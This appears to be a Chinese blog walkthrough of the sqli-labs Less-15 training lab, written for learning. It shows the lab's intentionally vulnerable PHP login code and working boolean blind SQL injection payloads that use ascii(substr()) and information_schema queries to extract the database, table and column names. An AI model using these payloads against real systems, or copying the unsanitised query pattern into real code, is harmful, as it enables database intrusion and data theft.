目 录CONTENT

文章目录

sqli-labs系列——Less-15

CZ
CZ
2023-06-13 / 0 评论 / 0 点赞 / 299 阅读 / 4337 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

本文主要介绍了Less-15注入漏洞的实验过程和优化注入语句的方法。通过构造payload来获取数据库的名称、表名、列名以及相应的数据,并提到了注入漏洞的危害以及如何避免注入漏洞的发生。在实验过程中,我们还介绍了ASCII码表的使用,并演示了如何通过猜解ASCII码来确定数据库名称、表名和字段名。最后,我们提醒读者在实际开发和运维中要注意防范和避免注入漏洞的发生,以确保系统和数据的安全。

前言

到了第十五关,发现跟前面靶场貌似没什么区别,按照以往思路,尝试一下报错的手段发现他并没有输出我们的报错语句,那么看看我们的源码,发现这里也确实是没有输出,于是我们可以尝试利用盲注的手段。

源码如下

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname);
	fwrite($fp,'Password:'.$passwd."\n");
	fclose($fp);


	// connectivity 
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);

	if($row)
	{
  		//echo '<font color= "#0000ff">';	
  		
  		echo "<br>";
		echo '<font color= "#FFFF00" font size = 4>';
		//echo " You Have successfully logged in\n\n " ;
		echo '<font size="3" color="#0000ff">';	
		echo "<br>";
		//echo 'Your Login name:'. $row['username'];
		echo "<br>";
		//echo 'Your Password:' .$row['password'];
		echo "<br>";
		echo "</font>";
		echo "<br>";
		echo "<br>";
		echo '<img src="../images/flag.jpg"  />';	
		
  		echo "</font>";
  	}
	else  
	{
		echo '<font color= "#0000ff" font size="3">';
		//echo "Try again looser";
		//print_r(mysql_error());
		echo "</br>";
		echo "</br>";
		echo "</br>";
		echo '<img src="../images/slap.jpg"   />';	
		echo "</font>";  
	}
}

?>

前期准备

开启phpstudy,开启apache服务以及mysql服务 打开ASCII表

图片-1686619451321

实验环节

浏览器访问Less-15

http://127.0.0.1/sqli-labs-master/Less-15/

图片-1686639425014

判断库名长度

' or (length(database()))=8 -- xz
#页面正常显示成功登录字样,说明库名长度为8

图片-1686645874267

利用ASCII码猜解当前数据库名称

' or (ascii(substr(database(),1,1)))=115-- xz
#返回正常,说明数据库名称第一位是s
' or (ascii(substr(database(),2,1)))=101-- xz
#返回正常,说明数据库名称第二位是e
......以此类推,跟之前类似我就不给大家演示具体操作了

图片-1686646141682 图片-1686646162161

判断表名

' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101-- xz
#返回正常,说明数据库表名的第一个的第一位是e
.....以此类推说明该表名是emails

图片-1686646190104

判断字段名

'or (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- xz
#返回正常,说明emails表中的列名称第一位是i
......以此类推该字段名为id

图片-1686646295909

0

评论区